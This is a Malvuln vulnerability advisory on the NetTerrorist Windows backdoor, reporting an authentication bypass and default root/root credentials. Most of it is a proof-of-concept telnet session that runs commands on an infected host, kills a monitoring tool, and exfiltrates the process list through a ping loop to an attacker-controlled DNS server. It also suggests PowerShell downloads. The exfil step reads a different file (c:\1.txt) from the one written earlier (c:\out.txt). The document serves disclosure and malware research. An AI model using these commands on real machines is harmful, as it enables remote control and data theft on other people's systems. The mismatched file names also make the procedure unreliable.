Backdoor.Win32.NetTerrorist Authentication Bypass / Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/5131a9b441c9f9b20228f171c327a4f5.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.NetTerrorist  
Vulnerability: Unauthorized Remote Command Execution  
Description: NetTerrorist listens on TCP port 785, it seemingly uses authentication like USER [user], PASS [pass]. Interestingly, you can just bypass authentication and run commands while ignoring any error messages. If you wish to logon the main account is "root" with password "root" which is easily guessed. Whether logged on correctly or not, when issuing commands you get errors like "JAJAAJJ 500 'EXEC' command not understood". Just ignore these messages as we can execute all types of commands on the infected system.  
Type: PE32  
MD5: 5131a9b441c9f9b20228f171c327a4f5  
Vuln ID: MVID-2021-0081  
Dropped files: Systray.exe  
Disclosure: 02/09/2021  
  
Exploit/PoC:  
TELNET [Infected_Host_IP] 785  
  
PhuCk y0u   
USER root   
JAJAAJJ   
331 Password required for root.   
PASS abc123   
JAJAAJJ   
530 Login incorrect.   
  
exec cmd /k ping 8.8.8.8   
JAJAAJJ   
500 'EXEC': command not understood.  
exec calc   
JAJAAJJ   
500 'EXEC': command not understood.   
exec cmd /k dir   
JAJAAJJ   
500 'EXEC': command not understood.   
exec cmd /k taskkill /im ProcessHacker.exe   
JAJAAJJ   
500 'EXEC': command not understood.   
  
Execute tasklist command and write to file.  
  
500 'EXEC': command not understood.   
exec cmd /k tasklist > c:\out.txt   
  
Grab the results using ping (OR finger.exe to DarkFinger.py C2) to ICMP exfil tunnel to a DNS server we control.  
500 'EXEC': command not understood.   
exec cmd /k for /f "delims=*" %a in (c:\1.txt) do ping -n 1 %a   
JAJAAJJ   
500 'EXEC': command not understood.   
  
On our DNS server we see:  
  
msdtc.exe. -> 192.168.1.10  
ShellExperienceHost.exe. -> 192.168.1.10  
SearchUI.exe. -> 192.168.1.10  
RuntimeBroker.exe. -> 192.168.1.10  
SearchIndexer.exe. -> 192.168.1.10  
vm3dservice.exe. -> 192.168.1.10  
cmd.exe. -> 192.168.1.10  
conhost.exe. -> 192.168.1.10  
ApplicationFrameHost.exe. -> 192.168.1.10  
Backdoor.Win32.NetTerrori. -> 192.168.1.10   
tasklist.exe. -> 192.168.1.10  
  
Issue taskkill to terminate the backdoor if you got the PID:  
  
PhuCk y0u   
exec cmd /c taskkill /f /pid 392   
JAJAAJJ   
500 'EXEC' command not understood.   
  
Connection to host lost.  
  
You can also try to execute PowerShell to download your own filez.  
  
  
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